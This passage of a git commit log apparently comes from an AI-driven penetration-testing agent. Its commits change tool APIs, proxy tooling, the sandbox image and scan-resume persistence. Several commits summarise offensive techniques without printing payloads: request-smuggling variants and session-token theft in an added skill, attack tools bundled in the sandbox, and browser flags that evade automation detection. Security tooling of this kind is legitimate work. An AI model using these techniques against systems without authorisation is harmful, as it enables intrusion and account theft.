  / page+total_lines. Three proxy operations were rendering empty
  before this.
- Idle-pane placeholder text trimmed to "Loading...".
2026-05-26 12:16:47 -07:00
0xallam bd8d3b1276 Collapse todo tools to a single list-based form
create_todo / update_todo / mark_todo_done / mark_todo_pending /
delete_todo used to accept either a single-item form (title, todo_id,
…) or a bulk form (todos, updates, todo_ids), reject the call if the
agent set both, and explain the rule in the docstring. The agent kept
tripping the validator. Drop the single-item form everywhere — each
tool now takes one list arg. Single calls just pass a one-item list.

While the API was being reshaped, line the result schemas up:
created_count replaces the lone "count", _mark returns a single
"marked" key plus new_status instead of marked_done / marked_pending,
and list_todos splits the overloaded total_count into filtered_count
(matches) and total_count (grand total) so a filtered call no longer
hides the real size.

Docstrings now spell out each item's fields with required/optional
and the legal status / priority values, plus a worked example.
2026-05-25 23:51:08 -07:00
0xallam 99f46076ee Add TUI renderers for the seven previously-unstyled tools
exec_command, write_stdin, apply_patch, view_image, load_skill,
list_sitemap, and view_sitemap_entry were falling through to the
generic dict-dumper. They now render in the same visual language as
the rest of the toolset: the terminal pair uses the >_ icon with
pygments bash highlighting; apply_patch and view_image use the file-
edit diamond with colored +/- diff lines and per-language syntax
highlighting; sitemap and load_skill mirror the proxy and skill
patterns already established.
2026-05-25 23:22:56 -07:00
0xallam 0583a098fc Add Scarf telemetry alongside PostHog
Both backends share session/version/first-run helpers in
strix/telemetry/_common.py and fire from the same four call sites in
strix/interface/main.py and strix/report/state.py. STRIX_TELEMETRY is
the single toggle for both.
2026-05-25 23:22:01 -07:00
0xallam 4e73e8b0b8 Document the SDK-provided tools as stub dirs under strix/tools/
Every agent-facing tool now has a corresponding directory: the
strix-implemented ones already do, and the SDK-provided ones
(exec_command/write_stdin shell, apply_patch, view_image) plus the
sandbox-CLI agent-browser get README-only stubs. Each README names the
implementation source, where the tool is wired up, the strix-specific
config it inherits, and the skill that teaches its usage. Listing
strix/tools/ now gives a new reader the full agent toolset at a glance.

The stub dirs intentionally have no __init__.py — they are not Python
packages, just documentation. Nothing in the codebase auto-discovers
strix.tools.* as packages (all imports are explicit), so the stubs
cannot accidentally affect runtime behavior.
2026-05-25 22:23:14 -07:00
0xallam ad935b1b64 Surface the previously-undocumented sandbox tools and unbreak two of them
The image ships 15 tools (jwt_tool, interactsh-client, arjun, dirsearch,
gospider, wafw00f, retire, eslint, jshint, js-beautify, JS-Snooper,
jsniper.sh, vulnx, ncat, uv) that the always-loaded skills never name
with usage guidance — agents could discover them via the environment
catalog but had no when/how. Add concise mentions in the natural home
for each: jwt_tool in the JWT skill, interactsh-client in the OAST
sections of SSRF/XXE/RCE, arjun in IDOR recon, dirsearch as the broad
alternate in the ffuf skill, gospider + the JS scrapers in katana,
wafw00f next to httpx, retire/eslint/jshint/js-beautify as a new
JavaScript-Side Coverage block in the SAST playbook, uv in python,
vulnx in the deep scan-mode CVE bullet, ncat in a new RCE Tooling
block.

Audit also turned up three real breakages along the way:

- jwt_tool's shebang resolves to /usr/bin/python3 but its dependencies
  live in /app/.venv, so every invocation died with
  ModuleNotFoundError: ratelimit. Replace the bare symlink with a
  wrapper that execs /app/.venv/bin/python against the real script.
- dirsearch's pipx venv ended up with setuptools 82, which dropped
  pkg_resources — startup failed before parsing args. Pin the inject
  to setuptools<81.
- ESLint's --no-eslintrc flag was removed in v9; the surviving
  --no-config-lookup covers it. Drop the dead flag from the SAST
  command block.

Also corrected the JS-Snooper / jsniper.sh entry in katana.md — both
take a bare domain and run their own JS discovery internally, not the
JS URLs Katana already harvested.
2026-05-25 22:02:15 -07:00
0xallam 9d4a74e2b6 Stabilize agent-browser launch and screenshot routing
AGENT_BROWSER_ARGS parser splits on commas, so any flag value
containing one (--disable-features=A,B, --window-size=1920,1080,
--lang=en-US,en) shredded into garbage positionals and Chromium
rejected the launch with "Multiple targets are not supported in
headless mode". Reduce to a comma-separated list of comma-free
flags that keeps the AutomationControlled anti-detection bit.

Default screenshot path now resolves inside the workspace root so
view_image accepts it; entrypoint pre-creates the dir at runtime
(the build-time mkdir is shadowed by the /workspace mount). Skill
examples updated to favor the no-arg form, plus brief fallback
guidance when view_image is unavailable on text-only models and a
viewport-resize note for sites that gate on real desktop dims.

Also drop the stale STRIX_DISABLE_BROWSER doc entry — no code
reference exists.
2026-05-25 21:28:36 -07:00
0xallam 36521cf209 Drop prescriptive guidance from image-rejection placeholder
The replacement text was telling the model "view_image is unsupported
on this scan; do not call it again" — which is wrong when the
rejection was format-specific (SVG rejected, JPEG would have worked).
Shorten to a neutral description of what happened; let the model
decide whether to retry with a different format or skip the asset.
2026-05-25 17:28:37 -07:00
0xallam f1c2328caf Auto-recover when the provider rejects a view_image output
When view_image lands an image content block in the agent session and the
next model call fails because the provider rejects the format (SVG on
Anthropic, anything on a text-only model, etc.), the agent used to die
once the general failsafe parked it and there was no way back.

Recovery flow when _run_cycle catches an input-rejection error
(BadRequestError/NotFoundError/422, by status_code) and the latest
session item is an image-bearing function_call_output:

- pop_item() the offending output (single SDK-public primitive)
- add_items() a replacement function_call_output paired by the original
  call_id, with text content telling the model "view_image is
  unsupported on this scan; do not call it again"
- retry the cycle once with empty input_data

Gated by status_code so unrelated failures (timeouts, 5xx, 429, auth,
network blips) leave session content intact — no false-trigger that
would destroy a valid image during a transient hiccup on a
vision-capable model. Hard cap of 3 strips per cycle so a model that
keeps re-calling view_image despite the instruction text still
terminates.

strip_latest_image_from_session lives in core.sessions next to
open_agent_session — both are session helpers operating only through
the SDK's public Session protocol.
2026-05-25 17:23:20 -07:00
0xallam a9982e624c Restore load_skill + surface skill catalog in system prompt
Main's load_skill tool was deleted during the SDK migration along
with the prompt-mutation pattern it relied on. Re-add the capability
without the mutation: load_skill(skills=[...]) now returns the skill
markdown bodies as a tool result, so the content lands in conversation
history as in-context reference rather than as patched-in system
prompt content. Same source of truth (load_skills + skill files),
same validation (validate_requested_skills) as create_agent.

Tool result format is plain markdown (## Skill: <name> headers joined
with ---), not the <specialized_knowledge> XML wrapping used at
agent-build time. The XML framing was deliberately reserved for
prompt-level privileged context; tool-loaded skills are honestly
labelled as just-fetched reference material.

Close the discovery loop by surfacing the full skill catalog in the
system prompt. Without it the model could only guess skill names —
discovering them via validation errors on misses. Now every agent
sees a categorised <available_skills> block right after the
<specialized_knowledge> block with a short hint pointing at
create_agent / load_skill.

Skills module: factored _iter_user_skill_files() so get_all_skill_names
(set, for validation) and get_available_skills (dict by category,
for the prompt) share one source of truth on what counts as
user-selectable. Internal categories (scan_modes, coordination) stay
excluded from both.
2026-05-25 15:02:24 -07:00
0xallam 856089c2f8 Clean up SDK shell tool failure modes
Three concrete wraps on exec_command / write_stdin via the existing
Shell capability configure_tools mechanism, plus one skill-doc fix.
All wraps fire on both Responses and chat-completions paths; the
chat-completions error-as-result wrap still stacks on top when needed.

- write_stdin: decode the common escape forms in `chars` (\uXXXX,
  \xXX, \n \t \r \0 \a \b \v \f \\). Models routinely send the
  literal six-char string `` intending the ASCII control byte;
  the SDK takes chars verbatim so the byte never reaches the PTY and
  documented mechanisms like Ctrl-C, arrows, and Escape silently
  don't work. Allowlist regex over recognized escapes only —
  unrecognized sequences like `\p` pass through untouched.

- exec_command: catch InvalidManifestPathError and rewrite to a
  model-actionable message ("workdir must be a path inside
  /workspace") using the exception's structured `context["rel"]` so
  we don't need to string-match the SDK's wording.

- Both tools: catch pydantic ValidationError once at the wrap and
  reformat into a short "{tool}: invalid arguments — {field}: {msg}"
  string. Covers empty cmd, missing required fields, ge/min_length
  violations on max_output_tokens and yield_time_ms — and any future
  schema field the SDK adds.

Updated python.md guidance: the `shell=` parameter is for swapping
POSIX shells (bash/zsh/sh). Interpreters belong in `cmd` —
`cmd="python3 -c '...'"`, not `shell=python3`. The `shell=interpreter`
shortcut breaks in interpreter-specific ways (python needs `-c`,
node/ruby/perl need `-e`) so there's no clean code fix and we don't
try one.
2026-05-25 14:05:42 -07:00
0xallam 8b95ab8fe4 Stop web_search from leaking upstream details into tool results
Failure messages were echoing the raw requests-exception text — for an
empty query the model would see "API request failed: 400 Client Error:
Bad Request for url: https://api.perplexity.ai/chat/completions" and
learn the upstream URL, the HTTP status, and the literal word "API"
none of which it has any use for or right to. Same pattern in every
except branch: KeyError leaked internal field names, generic exceptions
leaked library exception text, etc.

Two fixes:

- Pre-flight reject empty/whitespace queries so the trivial misuse case
  never hits the network at all and gets a "Query cannot be empty."
  result immediately.

- Sanitize every failure path: split RequestException into HTTPError
  (4xx → "rejected the query — refine and retry", 5xx → "service
  unavailable"), Timeout, ConnectionError, response-shape (KeyError /
  IndexError / ValueError), and a generic catch-all. Each path returns
  a short actionable message and logs the full traceback via
  logger.exception so operator-side observability is preserved. The
  model sees no URLs, no status codes, no library exception text.

While in here: the missing-API-key message keeps the env var name
because that's operator-actionable, and the dead "results": [] field
the failure paths used to carry is dropped (success path never had it
either, so the shape was inconsistent).
2026-05-25 02:13:43 -07:00
0xallam 4f0cb71aeb Agents graph sweep: status taxonomy, stop_agent safety, skill validation
- view_agent_graph status summary now derives buckets from the canonical
  Status literal via get_args, so adding a new status in core.agents
  auto-flows into the summary. The previous hardcoded five-bucket list
  silently omitted "failed" — buckets stopped summing to total whenever
  an agent failed.

- stop_agent rejects targets that are already in a terminal status
  (completed / stopped / crashed / failed) with a model-readable error
  pointing at view_agent_graph and send_message_to_agent. request_stop
  unconditionally overwrites status, so without this guard calling
  stop_agent on a completed agent erased the "completed" history.

- StopAgentRenderer added — was falling back to the generic key/value
  renderer; the rest of the agents_graph tools have purpose-built ones.

- agent_finish root-rejection payload trimmed from
  {success, agent_completed, error, parent_notified} to {success, error}.
  The lifecycle gate only reads success+agent_completed and they were
  always False/False on this branch, so the extra fields were dead weight.

- wait_for_message renames its top-level outcome field from "status" to
  "wait_outcome" — "status" overloaded with the coordinator's agent
  status literal (which also has "stopped" as a value, different
  meaning). Redundant "agent_waiting" boolean dropped (true iff
  wait_outcome == "waiting"). Consumer at factory._wait_tool_parked
  updated to match.

- send_message_to_agent now refuses self-send with a pointer at think /
  agent_finish / finish_scan instead of looping a message into your
  own session.

- SendMessageToAgentRenderer read args.get("agent_id") but the tool's
  param is target_agent_id, so the TUI silently never showed the target.
  Fixed.

- Restored skill validation lost during the SDK migration: skills
  module re-exports get_all_skill_names and validate_requested_skills
  (excluding internal scan_modes/coordination categories from the
  user-selectable set). create_agent now validates skills before
  spawning instead of silently accepting unknown names.
2026-05-25 01:35:57 -07:00
0xallam 6ad709e5a7 Document HTTPQL footguns on list_requests
Three gotchas that bite the model once per scan if uncovered:

- HTTPQL has no NOT operator. Naive `NOT req.path.cont:"/static"`
  is a parse error. The negated-operator variants (`ne`, `ncont`,
  `nlike`, `nregex`) are the only way to negate.
- Strings must be quoted, integers must not. `resp.code.eq:"200"`
  parses as a string-vs-int mismatch.
- A bare quoted literal searches both `req.raw` and `resp.raw` —
  useful primitive we never surfaced.

All three land in the model-visible tool description.
2026-05-25 00:29:27 -07:00
0xallam dccef749d2 Restore sitemap tools + unify proxy I/O contract
Re-add list_sitemap and view_sitemap_entry from main, ported to the
new caido-sdk-client layout via raw GraphQL queries (the typed SDK
doesn't expose sitemap operations, but the Caido server still
supports sitemapRootEntries / sitemapDescendantEntries / sitemapEntry).
Wired through caido_api (sandbox-importable helpers), the host-side
@function_tool wrappers, factory _BASE_TOOLS, the system prompt, the
python skill doc, and the public proxy docs.

While threading these through, lock down the output contract across
every proxy tool so the model sees one consistent shape:

- All tools wrap success/failure in {"success": bool, "error"?: str}
- Canonical field names: status_code, length, roundtrip_ms (omitted
  when 0), is_tls, has_descendants. snake_case everywhere on output;
  camelCase stays only on the input side where it's the GraphQL
  schema.
- repeat_request now returns a structured response that matches
  list_requests' response_summary shape (parse_raw_response parses
  the raw bytes into status_code / length / headers / body), with
  body capped at 8KB and a body_truncated flag so the model knows
  when to fetch the full body via view_request.
- RepeatRequestRenderer was reading non-existent top-level keys
  (status_code, response_time_ms, body) and silently displaying
  nothing useful — now reads the structured response shape.
2026-05-25 00:23:46 -07:00
0xallam 6dced99a76 Proxy tool sweep: drop send_request, fix Caido SDK gotchas
send_request was a thin wrapper over the Caido Replay API that the model
could replicate with a one-liner `curl` via exec_command. The sandbox's
HTTP_PROXY env captures all such traffic for free, so the tool was
adding bugs (duplicate dispatch, dropped responses) without adding
capability. Removed across factory, tools module, sandbox-importable
caido_api helper, TUI renderer, prompt template, skill doc, and public
docs. repeat_request stays — it operates on captured request IDs with
structured modifications, which curl can't replicate cleanly.

Three caido-sdk-client workarounds that were hitting us through both
send_request and repeat_request:

- replay_send_raw used to pass CreateReplaySessionFromRaw to
  sessions.create(), which seeds a stored entry server-side, then
  called send() — producing two history rows per call. Empty-create +
  send produces one dispatched request.
- The same helper read result.entry.response_raw, an attribute that
  doesn't exist on ReplayEntry, so response bytes were silently
  dropped. Fixed to walk result.entry.response.raw with proper None
  guards.
- get_request_with_client passed include_request_raw / include_response_raw
  based on the requested part, but the SDK's generated pydantic models
  declare raw as required even though the GraphQL fragment makes it
  conditional via @include. Passing False crashed view_request with a
  pydantic validation error. Always request both raw bodies; the caller
  picks which to surface.

Also wrapped replay.send() in asyncio.wait_for(30s) so a stalled Caido
dispatch (notably loopback targets that don't route cleanly through the
sandbox proxy) fails fast with a model-readable error instead of
hanging the agent until the function_tool 120s budget expires.

Finally, list_requests now omits the roundtrip_ms field when Caido
reports 0 — proxy-captured unscoped traffic consistently reports 0
while scoped/replay traffic carries real measurements, so the absence
of the field is now informative ("Caido didn't measure this") rather
than misleading ("this request took 0ms").
2026-05-24 19:16:06 -07:00
0xallam d36a03e8cc Align note IDs with todo IDs (6-char hex)
Notes generated 5-char IDs via a 20-try collision loop while todos
generated 6-char IDs in one shot. Mixed widths across the agent's
view made the two tools look unrelated. Match todo's shape — same
length, same one-shot generation. Collision retry is unnecessary at
scan-scale (a few hundred items vs 16^6 keys).
2026-05-24 18:10:57 -07:00
0xallam 36f6ee62f3 Tighten todo + think tool contracts
Reject ambiguous calls in todo tools that previously combined the
single-target params and the bulk-array param (e.g. create_todo with
both `title` and `todos` would silently create N+1 items). Each tool
now errors with a mode-specific hint pointing the model at the
appropriate form. Also drop the meaningless char-count from `think`'s
success message — the model already knows what it wrote.
2026-05-24 16:58:09 -07:00
Sandiyo ChristanandGitHub 456250e5b5 feat: add HTTP request smuggling skill (#405)
* feat: add HTTP request smuggling skill

Add a new vulnerability skill covering HTTP request smuggling (HRS)
across CL.TE, TE.CL, H2.CL, and H2.TE desync variants. HRS is absent
from the existing skill set despite being a distinct, high-impact
vulnerability class frequently present in any architecture using a
reverse proxy or CDN in front of an application server.

Coverage:
- CL.TE: front-end uses Content-Length, back-end uses Transfer-Encoding
- TE.CL: front-end uses Transfer-Encoding, back-end uses Content-Length
- H2.CL: HTTP/2 front-end downgrades to HTTP/1.1 with injected Content-Length
- H2.TE: Transfer-Encoding header injection through HTTP/2 desync
- Transfer-Encoding obfuscation techniques (tab, space, duplicate, xchunked)
- Front-end security control bypass via smuggled prefix
- Cross-user request capture for session token theft
- Response queue poisoning and WebSocket handshake hijacking
- Timing-based and differential response detection methodology
- HTTP/2 specific probing techniques

Includes raw HTTP examples for each variant, step-by-step testing
methodology, exploitation PoCs, false-positive conditions, and
infrastructure topology guidance.

* fix: correct TE.CL probe, pseudo-header terminology, PoC Content-Length values, \x20 representation

Four reviewer findings addressed:

P1 — TE.CL timing-probe description inverted: previous text said
'Content-Length set to fewer bytes than the chunk content' which
describes socket-poisoning behavior (differential response), not a
timeout. Corrected to: send a complete chunked body with CL set to MORE
bytes than provided so the back-end waits for data that never arrives.
Also corrected Testing Methodology step 3 to match.

P2 — pseudo-header terminology: 'content-length' is a regular HTTP/2
header, not a pseudo-header (pseudo-headers are exclusively :method,
:path, :authority, :scheme). Fixed the H2.CL explanation (line 75),
HTTP/2-specific detection bullet, and Pro Tip #4 which referred to
':content-length pseudo-header'.

P2 — PoC Content-Length values: outer Content-Length in the bypass PoC
corrected from 116 to 100 (actual byte count of the body shown); capture
PoC corrected from 129 to 120.

P2 — \x20 representation: replaced the \x20 escape sequence in the code
block (which renders as a literal four-character string, not a space byte)
with an explanatory comment and actual whitespace characters so the intent
is unambiguous.

* Update strix/skills/vulnerabilities/http_request_smuggling.md
2026-05-20 21:45:16 -04:00
5151609f41 Add Docker sandbox host mappings (#488)
* Add Docker sandbox host mappings

* Address docker extra hosts review feedback

* Revert README change for STRIX_SANDBOX_EXTRA_HOSTS


---------

Co-authored-by: 0xallam <ahmed39652003@gmail.com>
2026-05-19 01:49:22 -07:00
1c2f40786d Fix MiniMax tool calling (#456)
Co-authored-by: n1majne3 <24203125+n1majne3@users.noreply.github.com>
2026-05-03 19:49:18 -07:00
dac63b4dab perf(agent): wake on state change instead of 500ms polling (#305)
Co-authored-by: 0xallam <ahmed39652003@gmail.com>
2026-05-03 19:30:41 -07:00
Jorge MoyaandGitHub 1dbecea76b add empty-array IDOR FP and OAST source-IP SSRF FP signals (#183) 2026-05-03 18:19:57 -07:00
ModarkandGitHub 0c45ea89c7 Add SSTI and Header Injection vulnerability skills (#191) 2026-05-03 17:54:04 -07:00
b211f0f3a5 fix(llm): include system prompt tokens in memory compressor budget (#381)
Co-authored-by: 0xhis <0xhis@users.noreply.github.com>
2026-05-03 16:26:34 -07:00
83bdbde12b feat: add Novita AI as LLM provider (#385)
Co-authored-by: 0xallam <ahmed39652003@gmail.com>
2026-05-03 16:23:35 -07:00
edbea73f01 fix: MiniMax tool call normalization and thinking block handling (#458)
Co-authored-by: 0xallam <ahmed39652003@gmail.com>
2026-05-03 16:12:37 -07:00
cb1a3ea9ee feat: add NoSQL injection skill (#404)
Co-authored-by: 0xallam <ahmed39652003@gmail.com>
2026-05-03 15:49:43 -07:00
0xallam 1a3faa6ddb Simplify Python proxy automation 2026-04-27 00:21:54 -07:00
0xallam c9973228e5 Fix sandbox tool error wrapper 2026-04-26 17:00:02 -07:00
0xallam 4bedc6437b Support chat-compatible sandbox patch tool 2026-04-26 16:54:34 -07:00
0xallam 2e6a91f274 Support xhigh reasoning effort 2026-04-26 16:03:07 -07:00
0xallam 8ba2d6a663 Record usage per SDK LLM response 2026-04-26 15:54:45 -07:00
0xallam 6e57739734 Track SDK LLM usage 2026-04-26 15:38:41 -07:00
0xallam 61a4c18a02 refactor: consolidate run state layout 2026-04-26 15:01:35 -07:00
0xallam 49623ee625 chore: remove generated migration docs 2026-04-26 14:36:58 -07:00
0xallam c63b239720 refactor: reorganize core report and tui modules 2026-04-26 14:28:50 -07:00
0xallam b963e269ca refactor: remove custom llm provider layer 2026-04-26 14:04:32 -07:00
0xallam 383c7e02dd Fix interactive lifecycle and resume history 2026-04-26 12:26:48 -07:00
0xallam 4a708fa00b Enforce lifecycle completion in non-interactive runs 2026-04-26 12:06:06 -07:00
0xallam fb3cf6a6c4 Simplify TUI SDK event rendering 2026-04-26 11:53:20 -07:00
0xallam eee65eec9e Simplify SDK-native orchestration 2026-04-26 11:30:00 -07:00
0xallam c3fe72b51f Use shared agent persistence files 2026-04-26 09:30:13 -07:00
0xallam 031d3bd005 Simplify SDK agent orchestration 2026-04-26 09:25:47 -07:00
0xallam ce07e36223 fix(runtime,interface): mount sources at advertised paths + surface scan failures in TUI
Two fixes that surfaced from a single broken run.

(1) Source mounting was double-broken:

- ``session_manager.create_or_reuse`` mounted the *parent* of the first
  local source under a hardcoded ``"sources"`` key, so the host's
  unrelated content leaked in at ``/workspace/sources/...`` while the
  agent's task prompt advertised ``/workspace/<workspace_subdir>``
  (from ``_build_root_task``). Result: the agent looked at
  ``/workspace/empty/`` (per the prompt), found nothing, and bailed.
- ``backends._docker_backend`` never called ``await session.start()``
  after ``client.create()`` — the SDK's manifest application
  (``LocalDir`` materialization, mount setup) only runs inside
  ``start()`` (or ``async with session:``). So even with the right
  ``entries`` the workspace would have been empty anyway.

Fix: thread ``args.local_sources`` (already populated by
``collect_local_sources``) all the way through to the session manager,
build ``Manifest.entries`` keyed by each source's ``workspace_subdir``,
and call ``session.start()`` in the docker backend so the SDK actually
materializes the entries. Drop the now-unused ``_resolve_sources_path``
helpers from ``cli.py`` and ``tui.py``.

(2) Scan-failure visibility was nonexistent in TUI mode:

- The SDK's ``on_agent_end`` hook only fires after the agent reaches its
  first turn. A failure earlier (model routing, sandbox bring-up, …)
  left the root agent stuck at ``status=running`` in the bus and
  tracer, so the TUI animated "Initializing" forever.
- ``scan_target`` in ``tui.py`` caught the exception and called
  ``logging.exception`` but never propagated it. ``run_tui`` returned
  cleanly when the user finally ctrl-q'd, so ``main.py`` happily
  printed the success-completion banner over a dead scan.

Fix: in ``run_strix_scan``'s ``except BaseException`` block, finalize
the root agent as ``"failed"`` in both the bus and the tracer (with the
error message attached). Capture the exception on
``StrixTUIApp._scan_error`` from the scan thread; ``run_tui`` re-raises
it after ``app.run_async()`` returns so ``main.py``'s existing handler
prints the traceback. Add a ``"failed"`` branch to
``_get_status_display_content`` that shows the error message in red,
mirroring the existing ``llm_failed`` branch.
2026-04-26 07:27:36 -07:00
0xallam b14ce69c3b fix(llm): thread LLM_API_KEY into the SDK's native OpenAIProvider
``MultiProvider`` was constructed with no openai kwargs, so the inner
``OpenAIProvider`` defaulted to reading ``OPENAI_API_KEY`` from the
environment. Strix's contract is that ``LLM_API_KEY`` works for every
provider, so users with ``STRIX_LLM=openai/<model>`` + ``LLM_API_KEY``
hit ``openai.OpenAIError`` at the first turn — the warm-up call worked
because that path goes through ``litellm.completion`` directly with
explicit creds, but the actual scan went through the SDK's MultiProvider
where the key was never plumbed.

Pass ``Settings.llm.api_key`` and ``Settings.llm.api_base`` through to
the underlying ``OpenAIProvider`` via the ``openai_api_key`` /
``openai_base_url`` ctor kwargs. ``openai_use_responses`` flips to
``False`` when ``LLM_API_BASE`` is set — non-default base URLs are the
reliable signal that the user is on an OpenAI-compatible endpoint
that doesn't speak the Responses API. Genuine OpenAI usage keeps the
Responses API as the default transport.

The ``anthropic/`` prefix continues to route through
``AnthropicCachingLitellmModel`` for prompt caching; ``litellm/`` and
other prefixes still fall through to the SDK's stock routing.
2026-04-26 07:26:48 -07:00
0xallam caa4fa1803 fix(runtime): preserve image ENTRYPOINT so caido-cli actually starts
The SDK's ``DockerSandboxClient._create_container`` overrode both
``entrypoint`` and ``command`` (``tail`` + ``-f /dev/null``), which kept
the container alive but bypassed the image's ``docker-entrypoint.sh``.
That script is what launches ``caido-cli`` and sets up the browser CA
trust. With it skipped, every scan since the harness migration sat in
``bootstrap_caido`` retrying ``loginAsGuest`` for 30 s against a dead
port and then aborted before any agent work happened.

Drop the ``entrypoint`` override and pass ``[tail, -f, /dev/null]`` as
``command``. The image's ENTRYPOINT runs setup, then ``exec \"\$@\"``
swaps PID 1 to ``tail`` for the keep-alive — same long-running
no-op the SDK was after, but with the manifest/init work done first.
2026-04-26 07:26:13 -07:00
0xallam 210f3faf75 chore(image): chromium-from-apt + anti-detection flags via agent-browser env
Drops the ``agent-browser install --with-deps`` step (Chrome for
Testing has no ARM64 build and ships several automation tells)
and uses the apt-installed Chromium across both arches.

``agent-browser`` is wired via three env vars baked into the image:

  * ``AGENT_BROWSER_EXECUTABLE_PATH=/usr/bin/chromium`` — every
    browser launch picks up the apt binary; no per-call flag needed.
  * ``AGENT_BROWSER_USER_AGENT`` — recent stable Chrome 131 Linux UA.
  * ``AGENT_BROWSER_ARGS`` — minimal stealth flag set:
    ``--disable-blink-features=AutomationControlled`` (the most-
    checked tell), ``--exclude-switches=enable-automation``,
    ``--disable-features=IsolateOrigins,site-per-process,Translate,
    BlinkGenPropertyTrees``, sane window-size + lang, infobars +
    save-password + session-crashed bubbles off.

The ``agent-browser doctor --offline --quick`` step at build time
verifies the binary launches; subsequent runtime calls inherit
the env automatically.

Net: smaller image (no ~150 MB Chrome-for-Testing download),
ARM64-clean, env-driven config so future flag tweaks land without
touching the agent-browser install.
2026-04-26 01:42:20 -07:00
0xallam ca61f21477 chore(image): bump sandbox tag 0.1.13 → 0.2.0
Picks up the recent in-image deps (``pip install caido-sdk-client``
for ``python_action`` + Caido CLI bumped to v0.56.0). 0.2.0 is the
new minor since this is the first SDK-migration-era image; users
pulling the new strix should pull the matching new image.

Updated:
- ``strix/config/settings.py:64`` — ``RuntimeSettings.image`` default
- ``strix/runtime/session_manager.py`` + ``strix/orchestration/scan.py`` — docstring example
- ``HARNESS_WIKI.md`` — three references in the runtime + config docs
- ``MIGRATION_EVALUATION.md`` — the SDK-bridging note

The historical changelog row (``HARNESS_WIKI.md:744`` — "bump to
0.1.13") stays untouched on purpose; it records what commit
``640bd67`` did, not the current pin.
2026-04-26 01:19:56 -07:00
0xallam b7895931ae fix(scan): respawn-skip finalizes cancelled agents as `stopped`
When ``_respawn_subagents`` skipped an agent because it was in
``bus.stopping`` (the user clicked stop before the crash), the bus
state was left untouched — status stayed ``running`` forever, so
``view_agent_graph`` and the TUI tree showed phantom agents that
would never make progress.

Now the skip path collects those agent ids and finalizes each as
``stopped`` outside the lock, which transitions status correctly,
clears the ``stopping`` entry (``finalize`` already discards it),
moves the live stats to ``stats_completed``, and triggers the
post-finalize snapshot. A subsequent ``view_agent_graph`` shows the
truth: the agent is stopped.
2026-04-26 01:16:26 -07:00
0xallam d1f622ab17 fix(persistence): snapshot resume-instruction + persist notes to disk
Two follow-ups from the post-fix audit:

**#1 critical**: ``orchestration/scan.py`` injects the user's new
``--instruction`` into the root's bus inbox via ``bus.send`` on resume,
but ``send`` is one of the deliberately-not-snapshotted high-frequency
mutations. A SIGKILL between that send and the model's first turn
would silently drop the user's new directive. Force a snapshot
immediately after the inject — that's the one specific message we
can't afford to lose, while leaving general ``send`` traffic
unsnapshotted as designed.

**Notes persistence**: ``strix/tools/notes/tools.py`` now mirrors the
todo pattern. ``_notes_storage`` writes through to
``{run_dir}/notes.json`` after every create/update/delete via the
same atomic-tempfile + ``Path.replace`` flow. New
``hydrate_notes_from_disk(run_dir)`` is wired in ``run_strix_scan``
alongside ``hydrate_todos_from_disk`` so a resumed scan recovers the
exact note set the prior process saw, including ``wiki``-category
notes.
2026-04-26 01:09:56 -07:00
0xallam 667b4a4370 fix(persistence): close all 9 gaps from the resume audit
Three critical correctness fixes + six TUI/audit/UX fixes from the
parallel-agent audit. All changes verified by an end-to-end smoke
that builds, persists, and re-hydrates state across two simulated
process boundaries.

Critical (resume integrity):

1. ``bus.cancel_descendants_graceful`` now calls ``_maybe_snapshot``
   after mutating the ``stopping`` set. Previously, a process crash
   between user-initiated graceful-stop and the next finalize lost
   the stop signal — respawned agents would run forever instead of
   exiting. ``_respawn_subagents`` also gains a guard that skips
   agents in ``stopping`` so a previously-cancelled agent is not
   resurrected on resume.

2. ``Tracer.hydrate_from_run_dir`` now **raises** on corrupt
   ``vulnerabilities.json`` instead of swallowing the exception. The
   prior behaviour silently reset ``vulnerability_reports`` to empty,
   so the next ``add_vulnerability_report`` would allocate ``vuln-0001``
   and overwrite the prior MD on disk — silent data loss.

3. ``--instruction`` passed on resume now reaches the model. The CLI
   captures whether the user explicitly passed an instruction
   (``args.user_explicit_instruction``) before ``_load_resume_state``
   loads the persisted one. ``run_strix_scan`` reads
   ``scan_config["resume_instruction"]`` and, on resume, sends the
   new instruction to root's bus inbox before calling
   ``run_with_continuation`` (which uses ``initial_input=[]`` for SDK
   replay). The inject filter surfaces it on the next turn.

4. ``--resume X`` errors loudly when ``scan_state.json`` exists but
   ``bus.json`` doesn't. Previously this silently fresh-started in
   the same dir, confusing the user who explicitly asked to resume.

TUI / audit / UX:

5. ``Tracer.hydrate_from_run_dir`` now reads ``bus.json`` too and
   pre-populates ``tracer.agents`` from the snapshot's ``statuses`` /
   ``names`` / ``parent_of``. Before this, the TUI tree on resume
   showed only currently-running agents; completed/crashed children
   from the prior run were invisible.

6. ``Tracer.hydrate_from_run_dir`` also seeds ``self._llm_stats`` from
   ``bus.stats_live + bus.stats_completed`` so the resume's footer
   shows cumulative tokens / requests across the prior run plus the
   resume segment, instead of resetting to zero.

7. ``Tracer.save_run_data`` now also writes ``run_metadata.json``
   (start_time, run_id, run_name, targets, status), and
   ``hydrate_from_run_dir`` restores ``start_time`` from it. Prior
   behaviour reset start_time to ``now()`` on every Tracer init,
   breaking the final report's duration calc on resumed scans.

8. Per-agent todos persist to ``{run_dir}/todos.json`` (atomic write
   on every CRUD). ``hydrate_todos_from_disk`` (called from
   ``run_strix_scan``) reloads them so respawned subagents find
   their lists intact. Previously, the module-level
   ``_todos_storage`` was lost on every process restart.

9. ``_load_resume_state`` validates each ``cloned_repo_path`` from
   the persisted ``scan_state.json`` still exists on disk. Previously
   a deleted clone dir would let the resume proceed with an empty
   source tree, with agents silently scanning nothing.

Bonus: ``bus.finalize`` no longer pops ``parent_of`` and ``names``
for finalized agents. Routing protection (don't accept ``send`` to
finalized agents) comes from the ``statuses[id]`` terminal-state
check in ``send`` itself, so dropping those keys was overzealous and
made completed children invisible in ``view_agent_graph`` and the
TUI tree.
2026-04-26 00:57:52 -07:00
0xallam 44538b5996 feat(cli): --resume <run_name> as the canonical resume command
Adds an explicit ``--resume RUN_NAME`` flag that loads the prior
run's persisted scan state from ``strix_runs/<run_name>/scan_state.json``
and replays it (targets, scan_mode, instruction, local_sources,
diff_scope, scope_mode, diff_base) so the user never has to retype
their original args.

The exit panel now suggests ``strix --resume <run_name>`` instead of
``--run-name``. Same single-line, same dim-label / coloured-value
styling as ``Target`` / ``Output`` rows, gated on
``not scan_completed``.

CLI contract:
  * ``--resume X`` cannot be combined with ``--target`` (parser error).
  * ``--resume X`` errors with a clear message if
    ``strix_runs/X/scan_state.json`` is missing.
  * Fresh runs persist scan_state.json once at the end of setup —
    after target normalization, repo cloning, local-source
    collection, diff-scope resolution, and final instruction
